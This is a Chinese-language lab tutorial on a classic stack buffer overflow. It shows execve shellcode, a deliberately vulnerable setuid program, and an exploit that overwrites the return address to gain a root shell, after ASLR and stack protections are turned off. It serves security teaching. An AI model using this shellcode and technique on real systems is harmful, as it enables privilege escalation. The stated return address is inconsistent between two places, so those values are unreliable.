请同学们学到技术后不要到处伸张
简单介绍:什么是缓冲区溢出攻击
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
之前要接触的技能 |
---|
有c语言基础 |
会进制转换以及计算 |
vim基本使用 |
熟悉基本linux命令 |
实验在蓝桥实验楼上可以进行,用的是linux系统
同学们已经饥渴难耐了,我们马上开始
三军未动,粮草先行
随着黑客技术的发展,黑客的防护措施也越来越发达了,那么为了我们的实验能够成功,我们做一个准备工作
输入命令安装一些用于编译32位c程序的软件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
菜鸟初学,定点射击,感受黑客的快感!
关闭地址空间随机化,内存地址不用猜,收到擒来!
我们要找到地址的返回地址,用shellcode的地址覆盖着个返回地址来完成入侵,那么这个空间如果是随机化的就会增加我们的入侵难度,既然是入门,我先不让地址移动,定点射击。
sudo sysctl -w kernel.randomize_va_space=0
防止/bin/bash的防护措施,我们移花接木,瞒天过海
zsh代替bash 秒啊!
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
俯冲进入linux32系统,冲冲冲!
linux32
/bin/bash
shellcode分析
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
其实就是用execve来调用/bin/sh里面的程序,这里面的程序可以获得root的权限,所以如果别人不小心调用了我们的这个shellcode,我们就可以获得对面主机的root权限。
shellcode对应的汇编版本
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
漏洞程序分析
在/tmp目录下新建一个stack.c文件:
cd /tmp
vim stack.c
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
撕碎gcc编译器的最后一道心理防线
不仅让人想起欧文所写的人性的弱点,人的心理防线恐怕就是最后一道防线了!
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用** –fno-stack-protector** 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
攻击程序分析(攻击刚才的漏洞程序)
我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,\x??\x??\x??\x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack
disass main
结果如图:
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
接下来的操作:
# 设置断点
b *0x080484ee
r
i r $esp
最后获得的这个0xffffcfb0就是str的地址
按 q 键,再按 y 键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。
十六进制加法计算器
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。
然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
瞬间入侵
一些思考题,我们升华一下?!
将/bin/sh重新指向/bin/bash或者(/bin/dash),能否攻击成功,获得root权限呢?
/bin/bash自带有防护措施,前面说过是最后一道心理防线,那么肯定是不能成功,结果图如下。
为什么是填充24个字节的0x90???
关闭地址随机后,正常的是本地变量buffer内存,之后四个字节是ebp,然后就是返回的地址了!
那么为什么我们这里不是12+4=16而是24呢?
在漏洞程序中我们调用bof函数来完成缓冲区的溢出,我们用gdb来查看bof分配的内存是多少!!!
结果显示函数分配了0x14的地址也就是20,所以是20+4=24!!!
我们要得到shellcode在内存的地址,为什么是查看stack的内存
我们可以通过查看stack的首地址来得到str的首地址,而shellcode存在了str+100的位置,所以得到的这个地址+0x64(100)就是shellcode的地址拉!
将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff (为什么是反过来填写?)
端类型 | 表示方法 |
---|---|
大端 | ![]() |
小端 | ![]() |
一目了然,无需多言!